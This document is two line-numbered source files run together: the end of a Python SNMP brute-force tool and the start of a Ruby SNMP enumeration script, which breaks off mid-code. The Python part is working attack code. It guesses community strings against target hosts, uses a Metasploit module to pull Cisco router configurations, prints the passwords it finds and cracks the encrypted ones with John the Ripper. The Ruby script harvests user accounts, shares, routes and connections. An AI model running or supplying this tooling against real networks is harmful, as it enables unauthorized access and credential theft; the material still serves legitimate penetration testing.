422 pass
423
424 ############################################################### Enumerate Arp
425 print '\n'
426 for key, val in ARPOIDS.items():
427 try:
428 printout(('################## Enumerating ARP Table using: %s (%s)'%(val[0],val[1])),YELLOW)
429 entry={}
430 out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2 | cut -d\':\' -f 2').readlines()
431
432 lines=len(out)/3
433
434 entry['V']=out[0*lines:1*lines]
435 entry['MAC']=out[1*lines:2*lines]
436 entry['IP']=out[2*lines:3*lines]
437
438
439 print '\tIP\t\tMAC\t\t\tV'
440 print '\t--\t\t---\t\t\t--'
441 for j in range(lines):
442 print( '\t'+entry['IP'][j].strip().ljust(12,' ') +
443 '\t'+entry['MAC'][j].strip().ljust(18,' ') +
444 '\t'+entry['V'][j].strip().ljust(2,' ')
445 )
446 print '\n'
447 except KeyboardInterrupt:
448 pass
449
450 ############################################################### Enumerate SYSTEM
451 for key, val in OIDS.items():
452 try:
453 printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW)
454 entry={}
455 out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines()
456
457 print '\tINFO'
458 print '\t----\t'
459 for i in out:
460 print '\t',i.strip()
461 print '\n'
462 except KeyboardInterrupt:
463 pass
464 ############################################################### Enumerate Interfaces
465 for key, val in snmpstat_args.items():
466 try:
467 printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW)
468 out=os.popen('snmpnetstat'+snmpwalk_args+' '+val[0]).readlines()
469
470 for i in out:
471 print '\t',i.strip()
472 print '\n'
473 except KeyboardInterrupt:
474 pass
475
476 def get_cisco_config(result,options):
477 printout(('################## Trying to get config with: %s'% result.community),YELLOW)
478
479 identified_ip=os.popen('ifconfig eth0 |grep "inet addr:" |cut -d ":" -f 2 |awk \'{ print $1 }\'').read()
480
481 if options.interactive:
482 Local_ip = raw_input('Enter Local IP ['+str(identified_ip).strip()+']:') or identified_ip.strip()
483 else:
484 Local_ip = identified_ip.strip()
485
486 if not (os.path.isdir("./output")):
487 os.popen('mkdir output')
488
489 p=Popen('msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ',shell=True,stdin=PIPE,stdout=PIPE, stderr=PIPE) #>/dev/null 2>&1
490
491
492 print 'msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E '
493
494 out=[]
495 while p.poll() is None:
496 line=p.stdout.readline()
497 out.append(line)
498 print '\t',line.strip()
499
500 printout('################## Passwords Found:',YELLOW)
501 encrypted=[]
502 for i in out:
503 if "Password" in i:
504 print '\t',i.strip()
505 if "Encrypted" in i:
506 encrypted.append(i.split()[-1])
507
508 if encrypted:
509 print '\nCrack encrypted password(s)?'
510 for i in encrypted:
511 print '\t',i
512
513 #if (False if raw_input("(Y/n):").lower() == 'n' else True):
514 if not get_input("(Y/n):",'n',options):
515
516 with open('./hashes', 'a') as f:
517 for i in encrypted:
518 f.write(i+'\n')
519
520 p=Popen('john ./hashes',shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE)
521 while p.poll() is None:
522 print '\t',p.stdout.readline()
523 print 'Passwords Cracked:'
524 out=os.popen('john ./hashes --show').readlines()
525 for i in out:
526 print '\t', i.strip()
527
528 out=[]
529 while p.poll() is None:
530 line=p.stdout.readline()
531 out.append(line)
532 print '\t',line.strip()
533
534 def select_community(results,options):
535 default=None
536 try:
537 printout("\nIdentified Community strings",WHITE)
538
539 for l,r in enumerate(results):
540 if r.write==True:
541 printout ('\t%s) %s %s (%s)(RW)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),GREEN)
542 default=l
543 elif r.write==False:
544 printout ('\t%s) %s %s (%s)(RO)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),BLUE)
545 else:
546 printout ('\t%s) %s %s (%s)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),RED)
547
548 if default is None:
549 default = l
550
551 if not options.enum:
552 return
553
554 if options.interactive:
555 selection=raw_input("Select Community to Enumerate ["+str(default)+"]:")
556 if not selection:
557 selection=default
558 else:
559 selection=default
560
561 try:
562 return results[int(selection)]
563 except:
564 return results[l]
565 except KeyboardInterrupt:
566 exit(0)
567
568 def SNMPenumeration(result,options):
569 getcisco=defaults.getcisco
570 try:
571 printout (("\nEnumerating with READ-WRITE Community string: %s (%s)" % (result.community,result.version)),YELLOW)
572 enumerateSNMPWalk(result,options)
573
574 if options.windows or options.linux:
575 if not get_input("Get Cisco Config (y/N):",'y',options):
576 getcisco=False
577 if getcisco:
578 get_cisco_config(result,options)
579 except KeyboardInterrupt:
580 print '\n'
581 return
582
583 def password_brutefore(options, communities, ips):
584 s = socket(AF_INET, SOCK_DGRAM)
585 s.settimeout(options.timeOut)
586
587 results=[]
588
589 #Start the listener
590 T = threading.Thread(name='listener', target=listener, args=(s,results,))
591 T.start()
592
593 # Craft SNMP's for both versions
594 p1 = SNMP(
595 version=SNMPVersion.iversion('v1'),
596 PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))])
597 )
598 p2c = SNMP(
599 version=SNMPVersion.iversion('v2c'),
600 PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))])
601 )
602
603 packets = [p1, p2c]
604
605 #We try each community string
606 for i,community in enumerate(communities):
607 #sys.stdout.write('\r{0}'.format('.' * i))
608 #sys.stdout.flush()
609 for ip in ips:
610 SNMPsend(s, packets, ip, options.port, community.rstrip(), options.rate)
611
612 #We read from STDIN if necessary
613 if options.stdin:
614 while True:
615 try:
616 try:
617 community=raw_input().strip('\n')
618 for ip in ips:
619 SNMPsend(s, packets, ip, options.port, community, options.rate)
620 except EOFError:
621 break
622 except KeyboardInterrupt:
623 break
624
625 try:
626 print "Waiting for late packets (CTRL+C to stop)"
627 sleep(options.timeOut+options.delay) #Waiting in case of late response
628 except KeyboardInterrupt:
629 pass
630 T._Thread__stop()
631 s.close
632
633 #We remove any duplicates. This relies on the __equal__
634 newlist = []
635 for i in results:
636 if i not in newlist:
637 newlist.append(i)
638 return newlist
639
640 def get_input(string,non_default_option,options):
641 #(True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False)
642
643 if options.interactive:
644 if raw_input(string).lower() == non_default_option:
645 return True
646 else:
647 return False
648 else:
649 print string
650 return False
651
652 def main():
653
654 parser = optparse.OptionParser(formatter=optparse.TitledHelpFormatter())
655
656 parser.set_usage("python snmp-brute.py -t <IP> -f <DICTIONARY>")
657 #parser.add_option('-h','--help', help='Show this help message and exit', action=parser.print_help())
658 parser.add_option('-f','--file', help='Dictionary file', dest='dictionary', action='store')
659 parser.add_option('-t','--target', help='Host IP', dest='ip', action='store')
660 parser.add_option('-p','--port', help='SNMP port', dest='port', action='store', type='int',default=defaults.port)
661
662
663 groupAlt = optparse.OptionGroup(parser, "Alternative Options")
664 groupAlt.add_option('-s','--stdin', help='Read communities from stdin', dest='stdin', action='store_true',default=False)
665 groupAlt.add_option('-c','--community', help='Single Community String to use', dest='community', action='store')
666 groupAlt.add_option('--sploitego', help='Sploitego\'s bruteforce method', dest='sploitego', action='store_true',default=False)
667
668
669 groupAuto = optparse.OptionGroup(parser, "Automation")
670 groupAuto.add_option('-b','--bruteonly', help='Do not try to enumerate - only bruteforce', dest='enum', action='store_false',default=True)
671 groupAuto.add_option('-a','--auto', help='Non Interactive Mode', dest='interactive', action='store_false',default=True)
672 groupAuto.add_option('--no-colours', help='No colour output', dest='colour', action='store_false',default=True)
673
674 groupAdvanced = optparse.OptionGroup(parser, "Advanced")
675 groupAdvanced.add_option('-r','--rate', help='Send rate', dest='rate', action='store',type='float', default=defaults.rate)
676 groupAdvanced.add_option('--timeout', help='Wait time for UDP response (in seconds)', dest='timeOut', action='store', type='float' ,default=defaults.timeOut)
677 groupAdvanced.add_option('--delay', help='Wait time after all packets are send (in seconds)', dest='delay', action='store', type='float' ,default=defaults.delay)
678
679 groupAdvanced.add_option('--iplist', help='IP list file', dest='lfile', action='store')
680 groupAdvanced.add_option('-v','--verbose', help='Verbose output', dest='verbose', action='store_true',default=False)
681
682 groupOS = optparse.OptionGroup(parser, "Operating Systems")
683 groupOS.add_option('--windows', help='Enumerate Windows OIDs (snmpenum.pl)', dest='windows', action='store_true',default=False)
684 groupOS.add_option('--linux', help='Enumerate Linux OIDs (snmpenum.pl)', dest='linux', action='store_true',default=False)
685 groupOS.add_option('--cisco', help='Append extra Cisco OIDs (snmpenum.pl)', dest='cisco', action='store_true',default=False)
686
687 parser.add_option_group(groupAdvanced)
688 parser.add_option_group(groupAuto)
689 parser.add_option_group(groupOS)
690 parser.add_option_group(groupAlt)
691
692 (options, arguments) = parser.parse_args()
693
694 communities=[]
695 ips=[]
696
697 banner(options.colour) #For SPARTA!!!
698
699 if not options.ip and not options.lfile:
700 #Can't continue without target
701 parser.print_help()
702 exit(0)
703 else:
704 # Create the list of targets
705 if options.lfile:
706 try:
707 with open(options.lfile) as t:
708 ips = t.read().splitlines() #Potential DoS
709 except:
710 print "Could not open targets file: " + options.lfile
711 exit(0)
712 else:
713 ips.append(options.ip)
714
715 if not options.colour:
716 defaults.colour=False
717
718 # Create the list of communities
719 if options.dictionary: # Read from file
720 with open(options.dictionary) as f:
721 communities=f.read().splitlines() #Potential DoS
722 elif options.community: # Single community
723 communities.append(options.community)
724 elif options.stdin: # Read from input
725 communities=[]
726 else: #if not options.community and not options.dictionary and not options.stdin:
727 communities=default_communities
728
729 #We ensure that default communities are included
730 #if 'public' not in communities:
731 # communities.append('public')
732 #if 'private' not in communities:
733 # communities.append('private')
734
735 if options.stdin:
736 options.interactive=False
737
738 results=[]
739
740 if options.stdin:
741 print >> sys.stderr, "Reading input for community strings ..."
742 else:
743 print >> sys.stderr, "Trying %d community strings ..." % len(communities)
744
745 if options.sploitego: #sploitego method of bruteforce
746 if ips:
747 for ip in ips:
748 for version in ['v1', 'v2c']:
749 bf = SNMPBruteForcer(ip, options.port, version, options.timeOut,options.rate)
750 result=bf.guess(communities)
751 for i in result:
752 r=SNMPResults()
753 r.addr=(ip,options.port)
754 r.version=version
755 r.community=i
756 results.append(r)
757 print ip, version+'\t',result
758 else:
759 parser.print_help()
760
761 else:
762 results = password_brutefore(options, communities, ips)
763
764 #We identify whether the community strings are read or write
765 if results:
766 printout("\nTrying identified strings for READ-WRITE ...",WHITE)
767 testSNMPWrite(results,options)
768 else:
769 printout("\nNo Community strings found",RED)
770 exit(0)
771
772 #We attempt to enumerate the router
773 while options.enum:
774 SNMPenumeration(select_community(results,options),options)
775
776 #if (True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False):
777 if get_input("Enumerate with different community? (y/N):",'y',options):
778 continue
779 else:
780 break
781
782 if not options.enum:
783 select_community(results,options)
784
785 print "Finished!"
786
787 if __name__ == "__main__":
788 main()
0 #!/usr/bin/env ruby
1
2 #
3 # Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
4 #
5 # Snmpcheck is an open source tool distributed under GPL license.
6 # Its goal is to automate the process of gathering information of
7 # any devices with SNMP protocol support (Windows, Unix-like,
8 # network appliances, printers...).
9 # Like to snmpwalk, snmpcheck allows you to enumerate the SNMP devices
10 # and places the output in a very human readable friendly format.
11 # It could be useful for penetration testing or systems monitoring.
12 # More informations available from http://www.nothink.org.
13 #
14 # Install Ruby SNMP library using RubyGems: 'gem install snmp'
15 #
16 # ---
17 #
18 # License: (http://www.gnu.org/licenses/gpl.txt)
19 #
20 # This program is free software: you can redistribute it and/or modify
21 # it under the terms of the GNU General Public License as published by
22 # the Free Software Foundation, either version 3 of the License, or
23 # (at your option) any later version.
24 #
25 # This program is distributed in the hope that it will be useful,
26 # but WITHOUT ANY WARRANTY; without even the implied warranty of
27 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
28 # GNU General Public License for more details.
29 #
30 # You should have received a copy of the GNU General Public License
31 # along with this program. If not, see <http://www.gnu.org/licenses/>.
32 #
33 # Thanks to Metasploit contributors!
34 # http://www.rapid7.com/db/modules/auxiliary/scanner/snmp/snmp_enum
35 #
36
37 # ruby version check
38 if RUBY_VERSION < "1.9.0"
39 abort <<-end_message
40 [!] snmpcheck requires Ruby version >= 1.9.0
41 end_message
42 end
43
44 require 'getoptlong'
45 require 'rubygems'
46 require 'snmp'
47 require 'timeout'
48
49 include SNMP
50
51 # catching Ctrl+C
52 trap("SIGINT") { exit! }
53
54 # disable verbose
55 $VERBOSE = nil
56
57 script_name = 'snmpcheck.rb';
58 script_version = 'v1.9';
59 script_description = 'SNMP enumerator';
60 script_copyright = 'Copyright (c) 2005-2015';
61 script_author = 'Matteo Cantoni (www.nothink.org)';
62
63 script_usage = " Usage: #{script_name} [OPTIONS] <target IP address>\n
64 -p --port : SNMP port. Default port is 161;
65 -c --community : SNMP community. Default is public;
66 -v --version : SNMP version (1,2c). Default is 1;\n
67 -w --write : detect write access (separate action by enumeration);\n
68 -d --disable_tcp : disable TCP connections enumeration!
69 -t --timeout : timeout in seconds. Default is 5;
70 -r --retries : request retries. Default is 1;
71 -i --info : show script version;
72 -h --help : show help menu;\n\n"
73
74 def print_banner(script_name,script_version,script_description,script_copyright,script_author)
75 puts "#{script_name} #{script_version} - #{script_description}\n#{script_copyright} by #{script_author}\n\n"
76 end
77
78 def print_things(msg='',prefix)
79 case prefix
80 when 'error'
81 puts "[!] #{msg}"
82 when 'info'
83 puts "[+] #{msg}"
84 when 'result'
85 puts "[*] #{msg}"
86 end
87 end
88
89 def truncate_to_twidth(string,twidth)
90 string.slice(0..twidth-2)
91 end
92
93 def number_to_human_size(size,unit)
94 size = size.first.to_i * unit.first.to_i
95
96 if size < 1024
97 "#{size} bytes"
98 elsif size < 1024.0 * 1024.0
99 "%.02f KB" % (size / 1024.0)
100 elsif size < 1024.0 * 1024.0 * 1024.0
101 "%.02f MB" % (size / 1024.0 / 1024.0)
102 else
103 "%.02f GB" % (size / 1024.0 / 1024.0 / 1024.0)
104 end
105 end
106
107 target = nil
108 port = 161
109 community = 'public'
110 version = '1'
111 check_write = nil
112 disable_tcp = nil
113 timeout = 5
114 retries = 1
115
116 begin
117
118 opts = GetoptLong.new(
119 [ '--port', '-p', GetoptLong::REQUIRED_ARGUMENT ],
120 [ '--community', '-c', GetoptLong::REQUIRED_ARGUMENT ],
121 [ '--version', '-v', GetoptLong::REQUIRED_ARGUMENT ],
122 [ '--write', '-w', GetoptLong::NO_ARGUMENT ],
123 [ '--disable_tcp', '-d', GetoptLong::NO_ARGUMENT ],
124 [ '--timeout', '-t', GetoptLong::REQUIRED_ARGUMENT ],
125 [ '--retries', '-r', GetoptLong::REQUIRED_ARGUMENT ],
126 [ '--info', '-i', GetoptLong::NO_ARGUMENT ],
127 [ '--help', '-h', GetoptLong::NO_ARGUMENT ]
128 )
129
130 opts.each do |opt, arg|
131 case opt
132 when '--port'
133 port = arg.to_i
134 when '--community'
135 community = arg.to_s
136 when '--version'
137 version = arg.to_s
138 when '--write'
139 check_write = 1
140 when '--disable_tcp'
141 disable_tcp = 1
142 when '--timeout'
143 timeout = arg.to_i
144 when '--retries'
145 retries = arg.to_i
146 when '--info'
147 print_banner(script_name,script_version,script_description,script_copyright,script_author)
148 exit 0
149 when '--help'
150 print_banner(script_name,script_version,script_description,script_copyright,script_author)
151 puts script_usage
152 exit 0
153 end
154 end
155
156 rescue GetoptLong::InvalidOption, GetoptLong::MissingArgument, GetoptLong::NeedlessArgument
157 exit 1;
158 end
159
160 if ARGV.length != 1
161 print_things("You need specify a IP address target!","error")
162 exit 0
163 end
164
165 target = ARGV.shift
166
167 if target !~ /^([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])$/
168 print_things("Invalid IP address!","error")
169 exit 0
170 end
171
172 # is there a community length limit?
173 if community.length >= 25
174 print_things("Invalid community length!","error")
175 exit 0
176 end
177
178 if port < 0 or port > 65535
179 print_things("Invalid port!","error")
180 exit 0
181 end
182
183 if retries < 0 or retries > 10
184 print_things("Invalid 'retries' value!","error")
185 exit 0
186 end
187
188 if version == '1'
189 version = :SNMPv1
190 elsif version == '2c'
191 version = :SNMPv2c
192 else
193 print_things("SNMP version invalid! We'll use 1 version!","error")
194 version = :SNMPv1
195 end
196
197 fields_order = [
198 "Host IP address","Hostname","Description","Contact","Location","Uptime snmp","Uptime system",
199 "System date","Domain","User accounts","Network information","Network interfaces",
200 "Network IP","Routing information","TCP connections and listening ports","Listening UDP ports",
201 "Network services","Processes","Storage information","File system information","Device information",
202 "Software components","IIS server information","Share","HP LaserJet printer enumeration"
203 ]
204
205 output_data = {}
206 output_data = {"Host IP address" => target}
207
208 print_banner(script_name,script_version,script_description,script_copyright,script_author)
209 print_things("Try to connect to #{target}:#{port} using #{version} and community '#{community}'","info")
210 print_things("Write access check enabled\n","info") unless check_write.nil?
211 print_things("TCP connections enumeration disabled","info") unless disable_tcp.nil?
212 puts
213
214 begin
215
216 SNMP::Manager.open(
217 :Host => target,
218 :Port => port,
219 :Community => community,
220 :Version => version,
221 :Timeout => timeout,
222 :Retries => retries
223 ) do |manager|
224
225 sysName = manager.get_value('1.3.6.1.2.1.1.5.0').to_s
226 output_data["Hostname"] = sysName.strip
227
228 # check write access
229 if check_write and sysName
230 # 1.3.6.1.2.1.1.5.0 - sysName
231 varbind = VarBind.new("1.3.6.1.2.1.1.5.0",OctetString.new(sysName.strip))
232 resp = manager.set(varbind)
233
234 if resp.error_status == :noError
235 print_things("Write access permitted!\n\n","result")
236 else
237 print_things("Write access not permitted!\n","result")
238 end
239 end
240
241 sysDesc = manager.get_value('1.3.6.1.2.1.1.1.0').to_s
242 sysDesc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ')
243 output_data["Description"] = sysDesc.strip
244
245 sysContact = manager.get_value('1.3.6.1.2.1.1.4.0').to_s
246 output_data["Contact"] = sysContact.strip
247
248 sysLocation = manager.get_value('1.3.6.1.2.1.1.6.0').to_s
249 output_data["Location"] = sysLocation.strip
250
251 sysUpTimeInstance = manager.get_value('1.3.6.1.2.1.1.3.0').to_s
252 output_data["Uptime system"] = sysUpTimeInstance.strip
253
254 hrSystemUptime = manager.get_value('1.3.6.1.2.1.25.1.1.0').to_s
255 output_data["Uptime snmp"] = hrSystemUptime.strip
256 hrSystemUptime = '-' if hrSystemUptime.to_s =~ /Null/
257
258 year = month = day = hour = minutes = seconds = tenths = 0
259
260 systemDate = manager.get_value('1.3.6.1.2.1.25.1.2.0')
261 str = systemDate.to_s
262 if (str.empty? or str =~ /Null/ or str =~ /^noSuch/)
263 output_data["System date"] = '-'
264 else
265 # RFC 2579 - Textual Conventions for SMIv2
266 # http://www.faqs.org/rfcs/rfc2579.html
267
268 systemDate = systemDate.unpack('C*')
269
270 year = systemDate[0] * 256 + systemDate[1]
271 month = systemDate[2] || 0
272 day = systemDate[3] || 0
273 hour = systemDate[4] || 0
274 minutes = systemDate[5] || 0
275 seconds = systemDate[6] || 0
276 tenths = systemDate[7] || 0
277 output_data["System date"] = sprintf("%d-%d-%d %02d:%02d:%02d.%d", year, month, day, hour, minutes, seconds, tenths)
278 end
279
280 if (sysDesc =~ /Windows/)
281
282 domPrimaryDomain = manager.get_value('1.3.6.1.4.1.77.1.4.1.0').to_s
283 output_data["Domain"] = domPrimaryDomain.strip
284
285 users = []
286
287 manager.walk(["1.3.6.1.4.1.77.1.2.25.1.1","1.3.6.1.4.1.77.1.2.25.1"]) do |user,entry|
288 users.push([user.value])
289 end
290
291 if not users.empty?
292 output_data["User accounts"] = users
293 end
294 end
295
296 network_information = {}
297
298 ipForwarding = manager.get_value('1.3.6.1.2.1.4.1.0')
299
300 if ipForwarding == 0 || ipForwarding == 2
301 ipForwarding = "no"
302 network_information["IP forwarding enabled"] = ipForwarding
303 elsif ipForwarding == 1
304 ipForwarding = "yes"
305 network_information["IP forwarding enabled"] = ipForwarding
306 end
307
308 ipDefaultTTL = manager.get_value('1.3.6.1.2.1.4.2.0')
309 if ipDefaultTTL.to_s !~ /Null/
310 network_information["Default TTL"] = ipDefaultTTL
311 end
312
313 tcpInSegs = manager.get_value('1.3.6.1.2.1.6.10.0')
314 if tcpInSegs.to_s !~ /Null/
315 network_information["TCP segments received"] = tcpInSegs
316 end
317
318 tcpOutSegs = manager.get_value('1.3.6.1.2.1.6.11.0')
319 if tcpOutSegs.to_s !~ /Null/
320 network_information["TCP segments sent"] = tcpOutSegs
321 end
322
323 tcpRetransSegs = manager.get_value('1.3.6.1.2.1.6.12.0')
324 if tcpRetransSegs.to_s !~ /Null/
325 network_information["TCP segments retrans"] = tcpRetransSegs
326 end
327
328 ipInReceives = manager.get_value('1.3.6.1.2.1.4.3.0')
329 if ipInReceives.to_s !~ /Null/
330 network_information["Input datagrams"] = ipInReceives
331 end
332
333 ipInDelivers = manager.get_value('1.3.6.1.2.1.4.9.0')
334 if ipInDelivers.to_s !~ /Null/
335 network_information["Delivered datagrams"] = ipInDelivers
336 end
337
338 ipOutRequests = manager.get_value('1.3.6.1.2.1.4.10.0')
339 if ipOutRequests.to_s !~ /Null/
340 network_information["Output datagrams"] = ipOutRequests
341 end
342
343 if not network_information.empty?
344 output_data["Network information"] = network_information
345 end
346
347 network_interfaces = []
348
349 manager.walk([
350 "1.3.6.1.2.1.2.2.1.1","1.3.6.1.2.1.2.2.1.2","1.3.6.1.2.1.2.2.1.6",
351 "1.3.6.1.2.1.2.2.1.3","1.3.6.1.2.1.2.2.1.4","1.3.6.1.2.1.2.2.1.5",
352 "1.3.6.1.2.1.2.2.1.10","1.3.6.1.2.1.2.2.1.16","1.3.6.1.2.1.2.2.1.7"
353 ]) do |index,descr,mac,type,mtu,speed,inoc,outoc,status|
354
355 ifindex = index.value
356 ifdescr = descr.value
357 ifmac = mac.value.unpack("H2H2H2H2H2H2").join(":")
358 iftype = type.value
359 ifmtu = mtu.value
360 ifspeed = speed.value.to_i
361 ifinoc = inoc.value
362 ifoutoc = outoc.value
363 ifstatus = status.value
364
365 case iftype
366 when 1
367 iftype = "other"
368 when 2
369 iftype = "regular1822"
370 when 3
371 iftype = "hdh1822"
372 when 4
373 iftype = "ddn-x25"
374 when 5
375 iftype = "rfc877-x25"
376 when 6
377 iftype = "ethernet-csmacd"
378 when 7
379 iftype = "iso88023-csmacd"
380 when 8
381 iftype = "iso88024-tokenBus"
382 when 9
383 iftype = "iso88025-tokenRing"
384 when 10
385 iftype = "iso88026-man"
386 when 11
387 iftype = "starLan"
388 when 12
389 iftype = "proteon-10Mbit"
390 when 13
391 iftype = "proteon-80Mbit"
392 when 14
393 iftype = "hyperchannel"
394 when 15
395 iftype = "fddi"
396 when 16
397 iftype = "lapb"
398 when 17
399 iftype = "sdlc"
400 when 18
401 iftype = "ds1"
402 when 19
403 iftype = "e1"
404 when 20
405 iftype = "basicISDN"
406 when 21
407 iftype = "primaryISDN"
408 when 22
409 iftype = "propPointToPointSerial"
410 when 23
411 iftype = "ppp"
412 when 24
413 iftype = "softwareLoopback"
414 when 25
415 iftype = "eon"
416 when 26
417 iftype = "ethernet-3Mbit"
418 when 27
419 iftype = "nsip"
420 when 28
421 iftype = "slip"
422 when 29
423 iftype = "ultra"
424 when 30
425 iftype = "ds3"
426 when 31
427 iftype = "sip"
428 when 32
429 iftype = "frame-relay"
430 else
431 iftype = "unknown"
432 end
433
434 case ifstatus
435 when 1
436 ifstatus = "up"
437 when 2
438 ifstatus = "down"
439 when 3
440 ifstatus = "testing"
441 else
442 ifstatus = "unknown"
443 end
444
445 ifspeed = ifspeed / 1000000
446
447 network_interfaces.push({
448 "Interface" => "[ #{ifstatus} ] #{ifdescr}",
449 "Id" => ifindex,
450 "Mac Address" => ifmac,
451 "Type" => iftype,
452 "Speed" => "#{ifspeed} Mbps",
453 "MTU" => ifmtu,
454 "In octets" => ifinoc,
455 "Out octets" => ifoutoc
456 })
457 end
458
459 if not network_interfaces.empty?
460 output_data["Network interfaces"] = network_interfaces
461 end
462
463 network_ip = []
464
465 manager.walk([
466 "1.3.6.1.2.1.4.20.1.2","1.3.6.1.2.1.4.20.1.1",
467 "1.3.6.1.2.1.4.20.1.3","1.3.6.1.2.1.4.20.1.4"
468 ]) do |ifid,ipaddr,netmask,bcast|
469 network_ip.push([ifid.value, ipaddr.value, netmask.value, bcast.value])
470 end
471
472 if not network_ip.empty?
473 output_data["Network IP"] = [["Id","IP Address","Netmask","Broadcast"]] + network_ip
474 end
475
476 routing = []
477
478 manager.walk([
479 "1.3.6.1.2.1.4.21.1.1","1.3.6.1.2.1.4.21.1.7",
480 "1.3.6.1.2.1.4.21.1.11","1.3.6.1.2.1.4.21.1.3"
481 ]) do |dest,hop,mask,metric|
482 if (metric.value.to_s.empty?)
483 metric.value = '-'
484 end
485 routing.push([dest.value, hop.value, mask.value, metric.value])
486 end
487
488 if not routing.empty?
489 output_data["Routing information"] = [["Destination","Next hop","Mask","Metric"]] + routing
490 end
491
492 if disable_tcp.nil?
493
494 tcp = []
495
496 manager.walk([
497 "1.3.6.1.2.1.6.13.1.2","1.3.6.1.2.1.6.13.1.3","1.3.6.1.2.1.6.13.1.4",
498 "1.3.6.1.2.1.6.13.1.5","1.3.6.1.2.1.6.13.1.1"
499 ]) do |ladd,lport,radd,rport,state|
500
501 if (ladd.value.to_s.empty? or ladd.value.to_s =~ /noSuchInstance/)
502 ladd = "-"
503 else
504 ladd = ladd.value
505 end
506
507 if (lport.value.to_s.empty? or lport.value.to_s =~ /noSuchInstance/)
508 lport = "-"
509 else
510 lport = lport.value
511 end
512
513 if (radd.value.to_s.empty? or radd.value.to_s =~ /noSuchInstance/)
514 radd = "-"
515 else
516 radd = radd.value
517 end
518
519 if (rport.value.to_s.empty? or rport.value.to_s =~ /noSuchInstance/)
520 rport = "-"
521 else
522 rport = rport.value
523 end
524
525 case state.value
526 when 1
527 state = "closed"
528 when 2
529 state = "listen"
530 when 3
531 state = "synSent"
532 when 4
533 state = "synReceived"
534 when 5
535 state = "established"
536 when 6
537 state = "finWait1"
538 when 7
539 state = "finWait2"
540 when 8
541 state = "closeWait"
542 when 9
543 state = "lastAck"
544 when 10
545 state = "closing"
546 when 11
547 state = "timeWait"
548 when 12
549 state = "deleteTCB"
550 else
551 state = "unknown"
552 end
553
554 tcp.push([ladd, lport, radd, rport, state])
555 end
556
557 if not tcp.empty?
558 output_data["TCP connections and listening ports"] = [["Local address","Local port","Remote address","Remote port","State"]] + tcp
559 end
560 end
561
562 udp = []
563
564 manager.walk(["1.3.6.1.2.1.7.5.1.1","1.3.6.1.2.1.7.5.1.2"]) do |ladd,lport|
565 udp.push([ladd.value, lport.value])
566 end
567
568 if not udp.empty?
569 output_data["Listening UDP ports"] = [["Local address","Local port"]] + udp
570 end
571
572 if (sysDesc =~ /Windows/)
573
574 network_services = []
575
576 n = 0
577
578 manager.walk(["1.3.6.1.4.1.77.1.2.3.1.1","1.3.6.1.4.1.77.1.2.3.1.2"]) do |name,installed|
579 network_services.push([n,name.value])
580 n+=1
581 end
582
583 if not network_services.empty?
584 output_data["Network services"] = [["Index","Name"]] + network_services
585 end
586
587 share = []
588
589 manager.walk([
590 "1.3.6.1.4.1.77.1.2.27.1.1","1.3.6.1.4.1.77.1.2.27.1.2","1.3.6.1.4.1.77.1.2.27.1.3"
591 ]) do |name,path,comment|
592 share.push({" Name"=>name.value, " Path"=>path.value, " Comment"=>comment.value})
593 end
594
595 if not share.empty?
596 output_data["Share"] = share
597 end
598
599 iis = {}
600
601 http_totalBytesSentLowWord = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.2.0')
602 if http_totalBytesSentLowWord.to_s !~ /Null/
603 iis["TotalBytesSentLowWord"] = http_totalBytesSentLowWord
604 end
605
606 http_totalBytesReceivedLowWord = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.4.0')
607 if http_totalBytesReceivedLowWord.to_s !~ /Null/
608 iis["TotalBytesReceivedLowWord"] = http_totalBytesReceivedLowWord
609 end
610
611 http_totalFilesSent = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.5.0')
612 if http_totalFilesSent.to_s !~ /Null/
613 iis["TotalFilesSent"] = http_totalFilesSent
614 end
615
616 http_currentAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.6.0')
617 if http_currentAnonymousUsers.to_s !~ /Null/
618 iis["CurrentAnonymousUsers"] = http_currentAnonymousUsers
619 end
620
621 http_currentNonAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.7.0')
622 if http_currentNonAnonymousUsers.to_s !~ /Null/
623 iis["CurrentNonAnonymousUsers"] = http_currentNonAnonymousUsers
624 end
625
626 http_totalAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.8.0')
627 if http_totalAnonymousUsers.to_s !~ /Null/
628 iis["TotalAnonymousUsers"] = http_totalAnonymousUsers
629 end
630
631 http_totalNonAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.9.0')
632 if http_totalNonAnonymousUsers.to_s !~ /Null/
